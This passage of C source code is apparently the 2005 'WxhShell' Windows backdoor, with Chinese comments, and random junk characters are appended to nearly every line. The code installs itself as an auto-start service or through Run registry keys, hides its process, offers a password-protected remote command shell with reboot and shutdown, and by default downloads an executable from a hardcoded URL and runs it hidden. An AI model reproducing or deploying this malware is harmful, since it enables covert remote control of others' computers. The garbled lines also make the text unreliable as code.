DWORD PebBaseAddress; [B+F}Q^;
DWORD AffinityMask; 4S~kNp$
DWORD BasePriority; A1-,b.Ni
ULONG UniqueProcessId; \
*[Ht!y
ULONG InheritedFromUniqueProcessId; T@U,<[,
} PROCESS_BASIC_INFORMATION; 7Tdx*1 U
}7 +%k/
PROCNTQSIP NtQueryInformationProcess; /go[}X5QR[
gmbRH5k
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8]^|&"i.\d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n|&=6hiI
X5[vQ3^
HANDLE hProcess; anbw\yh8
PROCESS_BASIC_INFORMATION pbi; U\H[.qY-
].kj-,5>f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O5-GrR^yt
if(NULL == hInst ) return 0; U(y8nI]
5~?6]=hl
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $j\>T@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QrK%DN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B
os`+Y
CU\gx*=E
if (!NtQueryInformationProcess) return 0; {%u^O/M
j67ppt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ah,f~.X_|
if(!hProcess) return 0; 'Xj^cX
d=qVIpZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PHqg~q;*
/qy6YF8;y
CloseHandle(hProcess); m\XsU?SuX
ygIn6.p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .ZF%$H
if(hProcess==NULL) return 0; \{:A&X~\!
g^+p7G
HMODULE hMod; LxhS
9
char procName[255]; ajk}&`Wj"
unsigned long cbNeeded; B2Y.1mXq
NL$z4m0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }k-8PG =
XdCP!iq*8
CloseHandle(hProcess); E#:!&{O
= EFh*sp
if(strstr(procName,"services")) return 1; // 以服务启动 _MTZuhY
2A~o)7JaZ
return 0; // 注册表启动 \]f+{d-&
} j AOy3c
dv\bkDF4A
// 主模块 gR# k'
int StartWxhshell(LPSTR lpCmdLine) M9R'ONYAa
{ Eqz|eS*6
SOCKET wsl; 9gw;MFP)D
BOOL val=TRUE; z+Fu{<#(
int port=0; Dh2Cj-|
~
struct sockaddr_in door; ^.8~}TT-U
27ZqdHd
if(wscfg.ws_autoins) Install(); G)I`
M4}*n
nL=+`aq_
port=atoi(lpCmdLine); Yft [)id
C}mhnU@
if(port<=0) port=wscfg.ws_port; Pb?v i<ug+
:FI D,
WSADATA data; F><_gIT
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mN]WjfII
]#f%Dku.m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ljZRz$y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lb'tVO
door.sin_family = AF_INET; C_Q3^mLx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;X<Ez5v3
door.sin_port = htons(port); JH]S'5X8K
07:V[@'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~M^[
closesocket(wsl); r_$*euh@
return 1; WyatHC
} ?K7uy5Y
r6uN6XCM
if(listen(wsl,2) == INVALID_SOCKET) { "NA<^2W@J
closesocket(wsl); XyN
" Jr
return 1; $+GDPYm'
} u*2?Gky
Wxhshell(wsl); *w4#D:g
WSACleanup(); S:j{R^$k
k*N!U[]
return 0; Vq]ixag2^
i;9X_?QF
} H%Gz"
Qf^c}!I
// 以NT服务方式启动 /g+-{+sx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U$gR}8\e
{ o|h=M/
DWORD status = 0; oFP8s[B
DWORD specificError = 0xfffffff; 85G-`T
(+(@P*c1
serviceStatus.dwServiceType = SERVICE_WIN32; ?ld&}|W~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6ScB:8M
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GB Yy^wjU
serviceStatus.dwWin32ExitCode = 0; ph5{i2U0
serviceStatus.dwServiceSpecificExitCode = 0; N`efLOMl]
serviceStatus.dwCheckPoint = 0; 1!.-/
serviceStatus.dwWaitHint = 0; d"Zu10
1qNO$M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N gF7$@S
if (hServiceStatusHandle==0) return;
"LB
MYZ
2)\->$Q(H
status = GetLastError(); xAd@.^
if (status!=NO_ERROR) J/e]
{ Jg=!GU/::
serviceStatus.dwCurrentState = SERVICE_STOPPED; "!zJQl@
serviceStatus.dwCheckPoint = 0; [yN+(^i
serviceStatus.dwWaitHint = 0; ./XX
serviceStatus.dwWin32ExitCode = status; SZe55mK `
serviceStatus.dwServiceSpecificExitCode = specificError; wl]3g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _"Bj`5S
return; M#o.O?.`
} nQOdM#dP
1!(lpp
serviceStatus.dwCurrentState = SERVICE_RUNNING; Cs>` f,o
serviceStatus.dwCheckPoint = 0; Sk7R;A
serviceStatus.dwWaitHint = 0; -)(=~|,Pq/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~|S0E:*.
} J$yq#LBbR@
G-)e(u
// 处理NT服务事件,比如:启动、停止 K0(
S%v|,}
VOID WINAPI NTServiceHandler(DWORD fdwControl) _-({MX[3k<
{ .kFO@:
switch(fdwControl) 7s6+I_n
{ Ed u(dZbKg
case SERVICE_CONTROL_STOP: {DP9^hg
serviceStatus.dwWin32ExitCode = 0; sPZwA0%
serviceStatus.dwCurrentState = SERVICE_STOPPED; nC,QvV
serviceStatus.dwCheckPoint = 0; Hj
r'C?[
serviceStatus.dwWaitHint = 0; =QVkY7
{ ^,I2@OS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'k\j[fk/K
} ?&wrz
return; R&(OWF;~,
case SERVICE_CONTROL_PAUSE: WcqR; Nm
serviceStatus.dwCurrentState = SERVICE_PAUSED; $Ah
p4oiE
break; KJQ8Yhq
case SERVICE_CONTROL_CONTINUE: &Iy5@8
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9pnOAM}
break; s9sl*1n1m`
case SERVICE_CONTROL_INTERROGATE: FtyT:=Kpc
break; |#o' =whTl
}; N2s"$Ttq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ygk_gBRiC
} R
q@|o5O
C5 ILVQ
// 标准应用程序主函数 G(wK(P0j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X<8|uP4
{ I ==)a6^
'qT;Eht5
// 获取操作系统版本 +Xw%X3o)
OsIsNt=GetOsVer(); zs]ubJC@
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8a8a:d
xwZ1Q,'C
// 从命令行安装 ~*1>)P8]#
if(strpbrk(lpCmdLine,"iI")) Install(); iT==aJ=~/&
V WZpEi
// 下载执行文件 2o<*rH
if(wscfg.ws_downexe) { I"czo9Yspd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W8^A{l4
WinExec(wscfg.ws_filenam,SW_HIDE); &T, ,fz$
} I1>f2/$z*
G 0pq'7B
if(!OsIsNt) { :Y /aT[
// 如果时win9x,隐藏进程并且设置为注册表启动 3>VL>;75[
HideProc(); GYQ:G=
StartWxhshell(lpCmdLine); A@<
! '
} :'wxm3f
else H6`k%O*
if(StartFromService()) TfZ M0Wz
// 以服务方式启动 K
Ha,6X
StartServiceCtrlDispatcher(DispatchTable); Yf9E0po
else R4;1LZ8XzS
// 普通方式启动 wp1O*)/q
StartWxhshell(lpCmdLine); qc,E azmU
xwsl$Rj
return 0; agwbjkU/
} 7WmLC
H][TH2H1
:MF`q.:X
kum@cA
=========================================== f3!Oc
xSN;vrLHR
N~/X.D4e#
E8kD#tL
IIY_Q9in
Ag0w8F
" V z
Qc*p+N+$
#include <stdio.h> !b!An; ',
#include <string.h> BTr
oe=R
#include <windows.h> bTeuOpp
#include <winsock2.h> I(VqtC:K.
#include <winsvc.h> axC{azo|
#include <urlmon.h> hJ8&OCR }
7hn[i,?`
H
#pragma comment (lib, "Ws2_32.lib") 7#"NKxb
#pragma comment (lib, "urlmon.lib") :|5 m"X\
cu}(\a
#define MAX_USER 100 // 最大客户端连接数 83vZRQw
#define BUF_SOCK 200 // sock buffer .CEC
g*f
#define KEY_BUFF 255 // 输入 buffer I_f%%N%
Zex~ $r
#define REBOOT 0 // 重启 cG0)F%?X?
#define SHUTDOWN 1 // 关机 ^NU_Tp:2^
\,NT5>
#define DEF_PORT 5000 // 监听端口 ]p+KN>1e
-n"f>c_{>
#define REG_LEN 16 // 注册表键长度 aoW2 c1`?Z
#define SVC_LEN 80 // NT服务名长度 3"Oipt+
STu(I\9
// 从dll定义API JzywSQ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }*!L~B!
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QyTNV
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -ABj>y[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U*K4qJ6U
)( 3)^/Xz
// wxhshell配置信息 5,XEN$^
struct WSCFG { *.w6 =}
int ws_port; // 监听端口 1 M!4hM
Q
char ws_passstr[REG_LEN]; // 口令 f1SKOq
int ws_autoins; // 安装标记, 1=yes 0=no O2 Y|<m
char ws_regname[REG_LEN]; // 注册表键名 oVk!C a
char ws_svcname[REG_LEN]; // 服务名 Yf[Cmn
char ws_svcdisp[SVC_LEN]; // 服务显示名 $G0e1)D
char ws_svcdesc[SVC_LEN]; // 服务描述信息 %9zpPrWF
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DmgDhNXKq
int ws_downexe; // 下载执行标记, 1=yes 0=no .6[8$8c
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .sit5BX
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nl2Lqu1
t5l<Lm)
}; ,.{M1D6'R`
W="pu5q$5
// default Wxhshell configuration BPW.&2?<
struct WSCFG wscfg={DEF_PORT, V+sZ;$
"xuhuanlingzhe", nO6UlY
1, IG}yGGn
"Wxhshell", 4Kj8i
"Wxhshell", qYe`</
"WxhShell Service", .DwiIr'
"Wrsky Windows CmdShell Service", s'tXb=!HO
"Please Input Your Password: ", H{E(=S
1, tAjT-CXg
"http://www.wrsky.com/wxhshell.exe", ![{/V,V]~
"Wxhshell.exe" "(H%m9K
}; Fi+DG?zu
G$*=9`
// 消息定义模块 7C2Xy>d~
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |;V-;e*
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,>(X}Q
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zuMz6#aCC8
char *msg_ws_ext="\n\rExit."; `TF3Ho\MC
char *msg_ws_end="\n\rQuit."; -[>J"l
char *msg_ws_boot="\n\rReboot..."; sDgo G
char *msg_ws_poff="\n\rShutdown..."; .yTo)t
char *msg_ws_down="\n\rSave to "; y<IHZq`C3
L6qK3xa}
char *msg_ws_err="\n\rErr!"; L1lDDS#
char *msg_ws_ok="\n\rOK!"; F_@`
<d!
%eHr^j~w$
char ExeFile[MAX_PATH]; LmsPS.It
int nUser = 0; JUGq\b&m
HANDLE handles[MAX_USER]; qe1>UfY
int OsIsNt; -
]We|{
?gU-a
SERVICE_STATUS serviceStatus; Tl_o+jj
SERVICE_STATUS_HANDLE hServiceStatusHandle; #.]W>hN8\
x=K'Jj
// 函数声明 =dKk #*
int Install(void); Y/mf Bkh
int Uninstall(void); k<fR)o
int DownloadFile(char *sURL, SOCKET wsh); [4;_8-[Nv
int Boot(int flag); B2BG*xa
void HideProc(void); kSge4?&
int GetOsVer(void); !eb{#9S*
int Wxhshell(SOCKET wsl); \l[AD-CZPh
void TalkWithClient(void *cs); N-}OmcO]e
int CmdShell(SOCKET sock); k_^
4NU
int StartFromService(void); p8s%bPjK
int StartWxhshell(LPSTR lpCmdLine); }7%ol&<@
YuoErP=P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M?gZKdj
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $y<`Jy]+)~
_wg~5'w8
// 数据结构和表定义 tg%<@U`7=
SERVICE_TABLE_ENTRY DispatchTable[] = |Cfo(]>G
{ |j8#n`'
{wscfg.ws_svcname, NTServiceMain}, [;toumv
{NULL, NULL} (Ze\<Y#cv
}; `"~ X1;
7|J&fc5BP
// 自我安装 ex|)3|J
int Install(void) a(JtGjTf&
{ v+C D{Tc
char svExeFile[MAX_PATH]; ~d3BVKP5
HKEY key; #N=_-
strcpy(svExeFile,ExeFile); 2gvS`+<TP
Mns=X)/hc
// 如果是win9x系统,修改注册表设为自启动 )OlYz!#?
if(!OsIsNt) { KJ-Q$
M
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'r^'wv]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %74f6\
RegCloseKey(key); JO87rG
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s.Mrd~(Drz
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 03
v\v9<T
RegCloseKey(key); #s}tH$MT#
return 0; =/xXB
} f|!@H><
} {qry2ZT5
} LM.#~7jC
else { 5(\[Gke
lm'.G99{
// 如果是NT以上系统,安装为系统服务 ?K.!^G
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gv(n2r
if (schSCManager!=0) (ke<^sv7!
{ kl&_O8E+K
SC_HANDLE schService = CreateService `AdHyE
( 3fop.%(
schSCManager, b` 9Zin
wscfg.ws_svcname, Ki)hr%UFw
wscfg.ws_svcdisp, +@rc(eOwvN
SERVICE_ALL_ACCESS, V/"41
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >\5ZgC
SERVICE_AUTO_START, uMC0XE|S
SERVICE_ERROR_NORMAL, q 7+ |U%!9
svExeFile, yg4ILL
NULL, G_5NS<JE"S
NULL, +A_jm!tJS(
NULL, 52
DSKL
NULL, .9!&x0;
NULL *EtC4sP
); 6>EoU-YX}l
if (schService!=0) =\<!kJ\yH
{ OBP iLCq
CloseServiceHandle(schService); twTRw:.!f
CloseServiceHandle(schSCManager); jm|zn
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rn whkb&&
strcat(svExeFile,wscfg.ws_svcname); y+VRD
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k#@)gL
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %bnjK#o"Q
RegCloseKey(key); C2%Yr y
return 0; JAL"On#c#0
} Ly/5" &HD
} eR8>5:V_
CloseServiceHandle(schSCManager); 'ka"0~:NS{
} st CFLYox
} yD ur9Qd6
Nk>6:Ho{G
return 1; ZOzyf/?.
} rmnnV[@o
5YiBw|Z7 "
// 自我卸载 N<lf,zGw
int Uninstall(void) :Z5kiEwYM
{ >LB x\/
HKEY key; h6Hop mWVx
@]{:juD~
if(!OsIsNt) { tbi(e49S
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gem+$TFq
RegDeleteValue(key,wscfg.ws_regname); n<sA?T
RegCloseKey(key); h1?.x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rg+3pX\{
RegDeleteValue(key,wscfg.ws_regname); M Xl!
RegCloseKey(key); ]jJ4\O`
return 0; ~leLQsZ
} :&D$Q
4
} Z@:R'u2Lk
} 7)3cq}]O
else { k Nw3Qr
}4I;<%L3`
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7otqGE\2
if (schSCManager!=0) C)s*1@af
{ s!BZrVM%I`
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t+SLU6j,
if (schService!=0) v{>9&o.J
{ $S!WW|9j.
if(DeleteService(schService)!=0) { #*K!@X
CloseServiceHandle(schService); X<$8'/p r
CloseServiceHandle(schSCManager); kC6s_k
return 0; qfEB VS(
} N6-bUM6%I
CloseServiceHandle(schService); GEf[k OQ
} K,GX5c5
CloseServiceHandle(schSCManager); ;%aWA
} ol8uV{:"
} _^0)T@
s=|&NlO$
return 1; 7wc{.~+
} zzBq b\Ky
JYWc3o6
// 从指定url下载文件 qS+I lg
int DownloadFile(char *sURL, SOCKET wsh) H~"XlP
{ / k8;k56
HRESULT hr; Y3wL EG%,:
char seps[]= "/"; /T2f~1R
char *token; x?Oc<CQ-2
char *file; (G6N@>V(`
char myURL[MAX_PATH]; uv
dx>5]
char myFILE[MAX_PATH]; A&fh0E (t
c)o[3o7
strcpy(myURL,sURL); }u7&SU
token=strtok(myURL,seps); q&wXs